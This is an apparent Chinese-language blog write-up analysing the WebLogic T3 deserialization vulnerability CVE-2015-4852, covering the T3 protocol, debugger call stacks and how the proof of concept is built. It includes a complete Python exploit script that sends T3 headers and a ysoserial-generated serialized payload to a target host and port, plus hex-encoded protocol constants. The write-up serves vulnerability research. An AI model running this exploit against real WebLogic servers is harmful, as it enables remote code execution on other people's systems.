CVE-2015-4852 WebLogic-T3反序列化分析

0x01 环境搭建

本地搭建
https://www.penson.top/article/av40

0x02 基础知识

关于Weblogic

Weblogic和tomcat差不多,从功能上来说就是两个Web服务端,也就是启动器
和Tomcat不同的地方在于,Weblogic可以自己部署很多东西,要知道,在Tomcat中,这些都是需要自己写代码的

T3协议

T3协议其实是Weblogic内独有的一个协议,在Weblogic中对RMI传输就是使用的T3协议。在RMI传输当中,被传输的就是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。
在T3的这个协议里面包含请求包头和请求的主体的两部分内容。
CVE-2015-4852 EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python  
import socket  
import struct  
import sys  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
server_address = (sys.argv[1], int(sys.argv[2]))  
print 'connecting to %s port %s' % server_address  
sock.connect(server_address)  
  
# Send headers  
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'  
print 'sending "%s"' % headers  
sock.sendall(headers)  
  
data = sock.recv(1024)  
print >>sys.stderr, 'received "%s"' % data  
payloadObj = open(sys.argv[3],'rb').read()  
  
payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'  
payload=payload+payloadObj  
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'  
print 'sending payload...'  
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])  
  
sock.send(payload)  

Weblogic请求包头

我们需要通过Wireshark对这一个流量包执行抓包操作,后续抓到的包的请求头如图

这一个就是它请求包的头
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
在发送该请求包头后,服务端Weblogic会有一个响应,内容如下

1
2
3
HELO:10.3.6.0.false  
AS:2048  
HL:19  

HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。

Weblogic请求主体

请求主体,也就是发送的数据,这些数据分为七部分内容,
第一非Java序列化数据,也就是我们的请求头
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
后面第n部分的数据,其实是不限制的,也就是说,我可以只有一部分的Java序列化数据,也可以有七部分的Java序列化数据,这并不重要,我们可以观察一下Wireshark抓的包
ac ed 00 05之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。
而此处,如果有多个Java序列化的数据,可以对任一一个数据进行攻击即可

0x03 漏洞分析与调试

影响版本

Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3。

漏洞分析

通过dir | findstr "commons"
存在一个commons.collections_3.2.0的包
直接找反序列化的入口类
Weblogic T3对于RMI传递过来的数据在处理上还是比较绕的,
InboundMsgAbbrev#readObject处,下个断点开始调试
先跟进ServerChannelInputStream的构造函数,ServerChannelInputStream这个类的作用是处理服务端收到的请求头信息
继续跟进getServerChannel()方法
关注一下目前的this.connection是什么
connectionweblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@4d66781这个类,在this.connection中主要存储了一些RMI连接的数据,包括端口地址等。
跟进getChannel()方法,开始处理T3协议
T3头处理结束,重新回到InboundMsgAbbrev#readObject处,跟进readObject()方法,一路跟进InboundMsgAbbrev#resolveClass()中,这里的调用栈如下

1
2
3
4
5
6
7
8
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)  
readNonProxyDesc:1610, ObjectInputStream (java.io)  
readClassDesc:1515, ObjectInputStream (java.io)  
readOrdinaryObject:1769, ObjectInputStream (java.io)  
readObject0:1348, ObjectInputStream (java.io)  
readObject:370, ObjectInputStream (java.io)  
readObject:66, InboundMsgAbbrev (weblogic.rjvm)  
read:38, InboundMsgAbbrev (weblogic.rjvm)  

resolveClass()方法是用来处理类的,这些类在经过反序列化之后会走到resolveClass()方法这里,此时的var1,正是我们的AnnotationInvocationHandler
这时候AnnotationInvocationHandler类并不会被直接拿去反序列化,因为Weblogic服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了Class.forName()的操作之后),才会开始进行真正的反序列化

POC理解

POC的本质就是把ysoserial生成的payload变成T3协议里的数据格式,我们需要写入的有几段东西。
1、Header,这代表了数据包长度
2、T3 Header
3、反序列化标志,也就是fe 01 00 00
所以这三段话是这么来的

1
2
3
header = binascii.a2b_hex(b"00000000")  
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")  
desflag = binascii.a2b_hex(b"fe010000")  

0%